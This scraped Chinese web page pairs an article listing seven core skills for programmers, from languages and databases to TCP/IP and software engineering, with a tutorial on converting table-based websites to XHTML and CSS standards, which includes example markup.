至少熟练掌握两到三种开发工具的使用,这是程序员的立身之本,其中C/C++和JAVA是我重点推荐的开发工具,C/C++以其高效率和高度的灵活性成为开发工具中的利器,很多系统级的软件还是用C/C++编写。而JAVA的跨平台和与WEB很好的结合是JAVA的优势所在,而本人对SUN公司的“网络即计算机”的概念相当欣赏,并相信JAVA即其相关的技术集JAVA One会成为未来的主流开发工具之一。其次,如果能掌握一种简便的可视化开发工具,如VB,PowerBuilder,Delphi,C++ Builder,则更好,这些开发工具减小了开发难度,并能够强化程序员对象模型的概念。另外,需要掌握基本的脚本语言,如shell,perl等,至少能读懂这些脚本代码。
第二种武器:数据库
为什么数据库是如此重要?很多应用程序都是以数据库的数据为中心,而数据库的产品也有不少,其中关系型数据库仍是主流形式,所以程序员至少熟练掌握一两种数据库,对关系型数据库的关键元素要非常清楚,要熟练掌握SQL的基本语法。虽然很多数据库产品提供了可视化的数据库管理工具,但SQL是基础,是通用的数据库操作方法。如果没有机会接触商业数据库系统,可以使用免费的数据库产品是一个不错的选择,如mySQL, Postgres等。
第三种武器:操作系统
当前主流的操作系统是Windows,Linux/Unix,熟练地使用这些操作系统是必须的,但只有这些还远远不够。要想成为一个真正的编程高手,需要深入了解操作系统,了解它的内存管理机制、进程/线程调度、信号、内核对象、系统调用、协议栈实现等。Linux作为开发源码的操作系统,是一个很好的学习平台,Linux几乎具备了所有现代操作系统的特征。虽然Windows系统的内核实现机制的资料较少,但通过互联网还是能获取不少资料。只有对操作系统有一定的了解后,你会发现自己上了一个新的台阶。
第四种武器:网络协议TCP/IP
在互联网如此普及的今天,如果您还没有对互联网的支撑协议TCP/IP协议栈有很好的掌握,就需要迅速补上这一课,网络技术已改变了软件运行的模式,从最早的客户/服务器结构,到今天的WEB Services,再到未来的网格计算,这一切都离不开以TCP/IP协议栈为基础的网络协议支持,所以,深入掌握TCP/IP协议是非常必要的。至少,你需要了解ISO七层协议模型,IP/UDP/TCP/HTTP等常用协议的原理和三次握手机制。
第五种武器:DCOM/CORBA/XML/WEB Services
随着技术的发展,软件与网络的无缝结合是必然趋势,软件系统的位置无关性是未来计算模式的重要特征之一,DCOM/CORBA是当前两大主流的分布计算的中间件平台,DCOM是微软COM(组件对象模型)的扩展,而CORBA是OMG支持的规范。程序员需要做的不仅仅是利用商业的开发平台来开发软件,而是要理解这些技术的初衷,即为什么需要这项技术,如果你能理解了这一点,再回头看这些技术的具体实现,就如庖丁解牛,迎刃而解。XML/WebServices重要性不言而喻,XML以其结构化的表示方法和超强的表达能力被喻为互联网上的“世界语”,是分布计算的基石之一。
第六种武器:软件工程与CMM
现代大型软件系统的开发中,工程化的开发控制取代个人英雄主义,成为软件系统成功的保证,一个编程高手并不一定是一个优秀的程序员,一个优秀的程序员是将出色的编程能力和开发技巧同严格的软件工程思想有机结合,编程只是软件生命周期中的其中一环,优秀的程序员应该掌握软件开发各个阶段的基本技能,如市场分析,可行性分析,需求分析,结构设计,详细设计,软件测试等。一句话可以概括我的看法:“创意无限,流程保证”。
第七种武器:强烈的好奇心
什么才是一个程序员的终极武器呢,那就是强烈的好奇心和学习精神。没有比强烈的好奇心和学习精神更好的武器了,它是程序员们永攀高峰的源泉和动力所在。
其實学好一种就够用了。 |
|
怎么改善现有网站
|
我们大部分的设计师依旧在采用传统的表格布局、表现与结构混杂在一起的方式来建立网站。学习使用XHTML+CSS的方法需要一个过程,使现有网站符合网站标准也不可能一步到位。最好的方法是循序渐进,分阶段来逐步达到完全符合网站标准的目标。如果你是新手,或者对代码不是很熟悉,也可以采用遵循标准的编辑工具,例如Dreamweaver MX 2004,它是目前支持CSS标准最完善的工具。
1.初级改善
为页面添加正确的DOCTYPE
很多设计师和开发者都不知道什么是DOCTYPE,DOCTYPE有什么用。DOCTYPE是document type的简写。主要用来说明你用的XHTML或者HTML是什么版本。浏览器根据你DOCTYPE定义的DTD(文档类型定义)来解释页面代码。所以,如果你不注意设置了错误的DOCTYPE,结果会让你大吃一惊。XHTML1.0提供了三种DOCTYPE可选择:
(1)过渡型(Transitional )<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
(2)严格型(Strict )<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
(3)框架型(Frameset )<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
对于我们初级改善来说,只要选用过渡型的声明就可以了。它依然可以兼容你的表格布局、表现标识等,不至于让你觉得变化太大,难以掌握。
Tip:你懒得输入上面过渡型代码的话,可以访问http://www.macromedia.com/网站的首页,然后查看源代码,把head区同样的代码拷贝粘贴就可以了。
设定一个名字空间(Namespace)
直接在DOCTYPE声明后面添加如下代码:<html XMLns="http://www.w3.org/1999/xhtml" >
一个namespace是收集元素类型和属性名字的一个详细的DTD,namespace声明允许你通过一个在线地址指向来识别你的namespace。只要照样输入代码就可以。
声明你的编码语言
为了被浏览器正确解释和通过标识校验,所有的XHTML文档都必须声明它们所使用的编码语言。代码如下:<meta http-equiv="Content-Type" content="text/html; charset=GB2312" />
这里声明的编码语言是简体中文GB2312,你如果需要制作繁体内容,可以定义为BIG5。
用小写字母书写所有的标签
XML对大小写是敏感的,所以,XHTML也是大小写有区别的。所有的XHTML元素和属性的名字都必须使用小写。否则你的文档将被W3C校验认为是无效的。例如下面的代码是不正确的:<TITLE>公司简介</TITLE>
正确的写法是:<title>公司简介</title> 同样的,<P>改成<p>,<B>改成<b>等等。这步转换很简单。
为图片添加 alt 属性
为所有图片添加alt属性。alt属性指定了当图片不能显示的时候就显示供替换文本,这样做对正常用户可有可无,但对纯文本浏览器和使用屏幕阅读机的用户来说是至关重要的。只有添加了alt属性,代码才会被W3C正确性校验通过。注意的是我们要添加有意义的alt属性,象下面这样的写法毫无意义:<img src="logo_unc_120x30.gif" alt="logo_unc_120x30.gif">
正确的写法:<img src="logo_unc_120x30.gif" alt="UNC公司标志,点击返回首页">
给所有属性值加引号
在HTML中,你可以不需要给属性值加引号,但是在XHTML中,它们必须被加引号。
例:height="100",而不能是height=100。
关闭所有的标签
在XHTML中,每一个打开的标签都必须关闭。就象这样:<p>每一个打开的标签都必须关闭。</p> <b>HTML可以接受不关闭的标,XHTML就不可以。</b>
这个规则可以避免HTML的混乱和麻烦。举例来说:如果你不关闭图像标签,在一些浏览器中就可能出现CSS显示问题。用这种方法能确保页面和你设计的一样显示。需要说明的是:空标签也要关闭,在标签尾部使用一个正斜杠"/"来关闭它们自己。例如:<br /> <img src="webstandards.gif" />
经过上述七个规则处理后,页面就基本符合XHTML1.0的要求。但我们还需要校验一下是否真的符合标准了。我们可以利用W3C提供免费校验服务(http://validator.w3.org/)。发现错误后逐个修改。在后面的资源列表中我们也提供了其他校验服务和对校验进行指导的网址,可以作为W3C校验的补充。当最后通过了XHTML验证,恭喜你已经向网站标准迈出了一大步。不是想象中的那么难吧!
2.中级改善
接下来我们的改善主要在结构和表现相分离上,这一步不象第一步那么容易实现,我们需要观念上的转变,以及对CSS2技术的学习和运用。但学习任何新知识都需要花点时间的,不是吗?诀窍在于边做边学。假如你一直采用表格布局,根本没用过 CSS,也不必急于跟表格布局说再见,你可以先用样式表代替 font 标签。随着你学到的越多,你能做的就越多。好,一起来看看我们需要做哪些事:
用CSS定义元素外观
我们在写标识时已经养成习惯,当希望字体大点就用<h1>,希望在前面加个点符号就用<li>。我们总是想< h1>的意思是大的,<li>的意思是圆点,<b>的意思是“加粗文本”。而实际上, <h1>能变成你想要的任何样子,通过CSS,<h1>能变成小的字体,<p>文本能够变成巨大的、粗体的, <li>能够变成一张图片等等。我们不能强迫用结构元素实现表现效果,我们应该使用CSS来确定那些元素的外观。例如,我们可以使原来默认的 6级标题可以看起来大小一样:h1, h2, h3, h4, h5, h6{ font-family: 宋体, serif; font-size: 12px; }
用结构化元素代替无意义的垃圾
许多人可能从来都不知道HTML和XHTML元素设计本意是用来表达结构的。我们很多人已经习惯用元素来控制表现,而不是结构。例如,一段列表内容可能会使用下面这样的标识:句子一<br /> 句子二<br /> 句子三<br />
如果我们采用一个无序列表代替会更好:<ul> <li>句子一</li> <li>句子二</li> <li>句子三</li> </ul>
你或许会说“但是<li>显示的是一个圆点,我不想用圆点”。事实上,CSS没有设定元素看起来是什么样子,你完全可以用CSS关掉圆点。
给每个表格和表单加上id
给表格或表单赋予一个唯一的、结构的标记,例如<table id="menu">
接下来,在书写样式表的时候,你就可以创建一个“menu”的选择器,并且关联一个CSS规则,用来告诉表格单元、文本标签和所有其他元素怎么去显示。这样,不需要对每个%lt;td>标签附带一些多余的、占用带宽的表现层的高、宽、对齐和背景颜色等等属性。只需要一个附着的标记(标记 “menu”的id标记),你就可以在一个分离的样式表内为干净的、紧凑的代码标记进行特别的表现层处理。
中级改善我们这里先列主要的三点,但其中包含的内容和知识点非常多,需要我们逐步学习和掌握,直到最后实现完全采用CSS而不才用任何表格实现布局。 |
|
|